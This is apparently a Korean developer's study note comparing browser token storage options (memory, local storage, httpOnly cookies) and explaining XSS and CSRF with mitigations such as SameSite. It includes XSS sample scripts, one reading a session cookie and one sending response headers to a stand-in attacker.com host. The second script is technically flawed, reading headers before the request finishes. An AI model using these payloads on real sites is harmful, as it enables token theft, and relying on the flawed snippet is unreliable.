Token 저장소

기존에 사용하던 토큰에 대한 보한 설정이 더 필요하게 되면서, 토큰을 어디에 저장하면 좋을지 스터디한 내용을 기록한다.

브라우저에서 토큰 저장 위치

브라우저는 대표적으로 3가지 저장소를 가지고 있다.

• 브라우저 메모리
  • 토큰을 브라우저 메모리에 저장한다. (일반 변수, 혹은 redux같은 상태 관리 시스템)
  • 단점 : XSS 로 노출될 수 있다.

    • XSS(Cross Site Script) 공격: 공격자가 웹사이트에 악성 스크립트를 삽입하여 피해자의 브라우저에서 실행하도록 유도하는 공격

    • dom 에 직접 접근해서 데이터를 탈취할 수 있다.
      (redux의 경우 widow 객체에 저장하므로 접근 방법만 알면 탈취 가능)

      	// 게시판에 아래와 같은 스크립트를 저장/게시. 
      <script>
        var sessionId = document.cookie.match("sessionid=(.*?);")[1];
        alert(sessionId);
      </script>

• 로컬스토리지/세션스토리지
  • 장점 : 로컬 스토리지는 기간 설정이 가능하고, 브라우저가 직접 사용하기 편리하다. (GPT에 물어보니 보편적인 토큰 저장소)
  • 단점 : XSS 공격에 노출될 수 있다.
  • 해결방법
    1. 로컬 스토리지에 저장할 때 암호화
    2. 토큰의 유효기간 설정
• httpOnly 쿠키
  • 장점 : XSS 공격으로부터 보호 (브라우저에서 cookie 접근 불가)
  • 단점 : CSRF 공격에 취약
    • CSRF(Cross-Site Request Forgery) 공격: 사용자가 자신의 의지와는 다르게 웹사이트에 요청을 보내도록 유도하는 공격
    • bank.com 에 로그인 한 사용자가 evil.com 사이트에 접근함.
      evil.com 에서 bank.com 에 form 을 전송할 경우, cookie도 같이 전송하게 됨.
      evil.com 이 송금과 같은 api 를 호출하게 되면 쿠키를 통해 인증된 사용자로 인지하고 bank.com 에서 송금처리를 할 수 있음.

3. 해결방법 : SameSite 옵션 설정
    
    SameSite 옵션 : 사용자가 사이트 외부에서 요청을 보낼 때, `samesite=strict` 옵션이 있는 쿠키는 절대로 전송되지 않음
    

토큰 전송 방법 비교

• Header 에 Authorization

  • 웹에서 사용하는 표준화된 인증

  • XSS 탈취 가능 : Cross-Origin 체크 필요.

    <script>
      // Authorization 값을 탈취합니다.
      var xhr = new XMLHttpRequest();
      xhr.open("GET", "https://example.com/api/users", true);
      xhr.send();
      // Authorization 값을 공격자에게 전송합니다.
      window.location.href = "https://attacker.com/?headers=" + JSON.stringify(xhr.getAllResponseHeaders());
    </script>

• httpOnly 쿠키
  • CSRF 공격에 취약 (위에 설명과 동일)

참고: https://ko.javascript.info/cookie
GPT/Bard 에게 물어본 내용 다수, 기타 웹서핑